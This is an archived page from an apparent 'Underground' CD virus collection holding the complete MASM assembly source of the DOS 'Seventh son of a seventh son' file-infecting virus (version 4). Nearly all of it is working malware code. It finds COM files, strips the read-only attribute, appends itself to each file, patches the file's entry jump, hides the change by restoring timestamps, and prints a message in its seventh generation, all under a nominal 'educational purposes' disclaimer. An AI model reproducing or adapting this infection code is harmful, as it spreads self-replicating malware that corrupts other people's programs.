home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 7son.asm / text0000.txt < prev   
Encoding:
Text File  |  1998-01-14  |  7.1 KB  |  239 lines

  1.  
  2. ;***********************************************************************
  3.  
  4. *****
  5.  
  6. ;*  Seventh son of a seventh son    version 4
  7.  
  8. ;*
  9.  
  10. ;*  Compile with MASM 4.0
  11.  
  12. ;*  (other assemblers will probably not produce the same result)
  13.  
  14. ;*
  15.  
  16. ;*  Disclaimer:
  17.  
  18. ;*  This file is only for educational purposes. The author takes no
  19.  
  20. ;*  responsibility for anything anyone does with this file. Do not
  21.  
  22. ;*  modify this file!
  23.  
  24. ;***********************************************************************
  25.  
  26. *****
  27.  
  28.  
  29.  
  30. cseg            segment
  31.  
  32.                 assume  cs:cseg,ds:cseg,es:cseg,ss:cseg
  33.  
  34.  
  35.  
  36.                 .RADIX  16
  37.  
  38.  
  39.  
  40. FILELEN         equ     end - start
  41.  
  42. MINTARGET       equ     1000d
  43.  
  44. MAXTARGET       equ     -(FILELEN+40)
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52. ;***********************************************************************
  53.  
  54. *****
  55.  
  56. ;*              Dummy program (infected)
  57.  
  58. ;***********************************************************************
  59.  
  60. *****
  61.  
  62.  
  63.  
  64.                 org     100
  65.  
  66.  
  67.  
  68. begin:          db      4Dh                     ;virus mark
  69.  
  70.                 db      0E9h, 4, 0              ;jump to virus entry
  71.  
  72.  
  73.  
  74.  
  75.  
  76. ;***********************************************************************
  77.  
  78. *****
  79.  
  80. ;*              Begin of the virus
  81.  
  82. ;***********************************************************************
  83.  
  84. *****
  85.  
  86.  
  87.  
  88. start:          db      0CDh,  20h, 0, 0
  89.  
  90.  
  91.  
  92.                 cld
  93.  
  94.                 mov     si,0100h
  95.  
  96.                 push    si                      ;push new IP on stack
  97.  
  98.                 mov     di,si
  99.  
  100.                 add     si,[si+2]               ;si -> start
  101.  
  102.  
  103.  
  104.                 push    si                      ;restore original begin
  105.  
  106.                 movsw
  107.  
  108.                 movsw
  109.  
  110.                 pop     si
  111.  
  112.  
  113.  
  114.                 mov     ax,3300h                ;get ctrl-break flag
  115.  
  116.                 int     21
  117.  
  118.                 push    dx
  119.  
  120.  
  121.  
  122.                 cwd                             ;clear the flag
  123.  
  124.                 inc     ax
  125.  
  126.                 push    ax
  127.  
  128.                 int     21
  129.  
  130.  
  131.  
  132.                 mov     ax,3524h                ;get int24 vector
  133.  
  134.                 int     21
  135.  
  136.                 push    bx
  137.  
  138.                 push    es
  139.  
  140.  
  141.  
  142.                 lea     dx,[si+(offset ni24 - 0104)]  ;set new int24 
  143.  
  144. vector
  145.  
  146.                 mov     ah,25h
  147.  
  148.                 push    ax
  149.  
  150.                 int     21
  151.  
  152.  
  153.  
  154.                 mov     ah,2Fh                  ;get DTA adres
  155.  
  156.                 int     21
  157.  
  158.                 push    es
  159.  
  160.                 push    bx
  161.  
  162.  
  163.  
  164.                 add     dx,070h                 ;set new DTA adres
  165.  
  166.                 mov     ah,1Ah
  167.  
  168.                 int     21
  169.  
  170.                 add     dx,1Eh
  171.  
  172.                 push    dx
  173.  
  174.  
  175.  
  176.                 lea     di,[si+(offset generation-0104)]  ;check 
  177.  
  178. generation
  179.  
  180.                 cmp     [di],0707h
  181.  
  182.                 jne     verder
  183.  
  184.  
  185.  
  186.                 lea     dx,[di+2]               ;7th son of a 7th son!
  187.  
  188.                 mov     ah,09h
  189.  
  190.                 int     21
  191.  
  192.  
  193.  
  194. verder:         mov     ax,[di]                 ;update generations
  195.  
  196.                 xchg    ah,al
  197.  
  198.                 mov     al,1
  199.  
  200.                 mov     [di],ax
  201.  
  202.  
  203.  
  204.                 lea     dx,[di+33d]             ;find first COM-file
  205.  
  206.                 xor     cx,cx
  207.  
  208.                 mov     ah,4Eh
  209.  
  210. infloop:        int     21
  211.  
  212.                 pop     dx
  213.  
  214.                 jc      stop
  215.  
  216.  
  217.  
  218.                 push    dx
  219.  
  220.  
  221.  
  222.                 xor     cx,cx                   ;clear 
  223.  
  224. read-only-arttribute
  225.  
  226.                 mov     ax,4301
  227.  
  228.                 int     21
  229.  
  230.                 jc      return1
  231.  
  232.  
  233.  
  234.                 mov     ax,3D02h                ;open the file
  235.  
  236.                 int     21
  237.  
  238.                 jc      return1
  239.  
  240.                 xchg    bx,ax
  241.  
  242.  
  243.  
  244.                 mov     ax,5700h                ;get file date & time
  245.  
  246.                 int     21
  247.  
  248.                 push    cx
  249.  
  250.                 push    dx
  251.  
  252.  
  253.  
  254.                 mov     cx,4                    ;read begin of file
  255.  
  256.                 mov     dx,si
  257.  
  258.                 mov     ah,3fh
  259.  
  260.                 int     21
  261.  
  262.  
  263.  
  264.                 cmp     byte ptr [si],4Dh       ;already infected or an 
  265.  
  266. EXE?
  267.  
  268.                 je      return2
  269.  
  270.                 cmp     byte ptr [si],5Ah       ;or a weird EXE?
  271.  
  272.                 je      return2
  273.  
  274.  
  275.  
  276.                 mov     al,2                    ;go to end of file
  277.  
  278.                 call    seek
  279.  
  280.  
  281.  
  282.                 cmp     ax,MAXTARGET            ;check length of file
  283.  
  284.                 jnb     return2
  285.  
  286.                 cmp     ax,MINTARGET
  287.  
  288.                 jbe     return2
  289.  
  290.  
  291.  
  292.                 push    ax
  293.  
  294.                 mov     cx,FILELEN              ;write program to end of 
  295.  
  296. file
  297.  
  298.                 mov     ah,40h
  299.  
  300.                 int     21
  301.  
  302.                 cmp     ax,cx                   ;are all bytes written?
  303.  
  304.                 pop     ax
  305.  
  306.                 jnz     return2
  307.  
  308.  
  309.  
  310.                 xchg    ax,bp
  311.  
  312.                 mov     al,0                    ;go to begin of file
  313.  
  314.                 call    seek
  315.  
  316.  
  317.  
  318.                 mov     word ptr [si],0E94Dh    ;write mark and 
  319.  
  320. jump-command
  321.  
  322.                 mov     word ptr [si+2],bp
  323.  
  324.                 mov     ah,40h
  325.  
  326.                 int     21
  327.  
  328.  
  329.  
  330.                 inc     byte ptr [di]           ;number of next son
  331.  
  332.  
  333.  
  334. return2:        pop     dx                      ;restore file date & 
  335.  
  336. time
  337.  
  338.                 pop     cx
  339.  
  340.                 mov     ax,5701h
  341.  
  342.                 int     21
  343.  
  344.  
  345.  
  346.                 mov     ah,3Eh                  ;close the file
  347.  
  348.                 int     21
  349.  
  350.  
  351.  
  352. return1:        mov     ah,4Fh                  ;find next file
  353.  
  354.                 jmp     short infloop
  355.  
  356.  
  357.  
  358. stop:           pop     dx                      ;restore DTA adres
  359.  
  360.                 pop     ds
  361.  
  362.                 mov     ah,1Ah
  363.  
  364.                 int     21
  365.  
  366.  
  367.  
  368.                 pop     ax                      ;restore int24 vector
  369.  
  370.                 pop     ds
  371.  
  372.                 pop     dx
  373.  
  374.                 int     21
  375.  
  376.  
  377.  
  378.                 pop     ax                      ;restore ctrl-break flag
  379.  
  380.                 pop     dx
  381.  
  382.                 int     21
  383.  
  384.  
  385.  
  386.                 push    cs
  387.  
  388.                 push    cs
  389.  
  390.                 pop     ds
  391.  
  392.                 pop     es
  393.  
  394.  
  395.  
  396.                 ret
  397.  
  398.  
  399.  
  400. seek:           mov     ah,42
  401.  
  402.                 cwd
  403.  
  404. int21:          xor     cx,cx
  405.  
  406.                 int     21
  407.  
  408.                 mov     cl,4
  409.  
  410.                 mov     dx,si
  411.  
  412.                 ret
  413.  
  414.  
  415.  
  416.  
  417.  
  418. ;***********************************************************************
  419.  
  420. *****
  421.  
  422. ;*              Interupt handler 24
  423.  
  424. ;***********************************************************************
  425.  
  426. *****
  427.  
  428.  
  429.  
  430. ni24:           mov     al,03
  431.  
  432.                 iret
  433.  
  434.  
  435.  
  436.  
  437.  
  438. ;***********************************************************************
  439.  
  440. *****
  441.  
  442. ;*              Data
  443.  
  444. ;***********************************************************************
  445.  
  446. *****
  447.  
  448.  
  449.  
  450. generation      db      1,1
  451.  
  452. sontxt          db      'Seventh son of a seventh son',0Dh, 0Ah, '$'
  453.  
  454. filename        db      '*.COM',0
  455.  
  456.                 db      'é¿░│▒'
  457.  
  458.  
  459.  
  460. end:
  461.  
  462.  
  463.  
  464. cseg            ends
  465.  
  466.                 end     begin
  467.  
  468.  
  469.  
  470.  
  471.  
  472.  
  473.  
  474.  
  475.  
  476.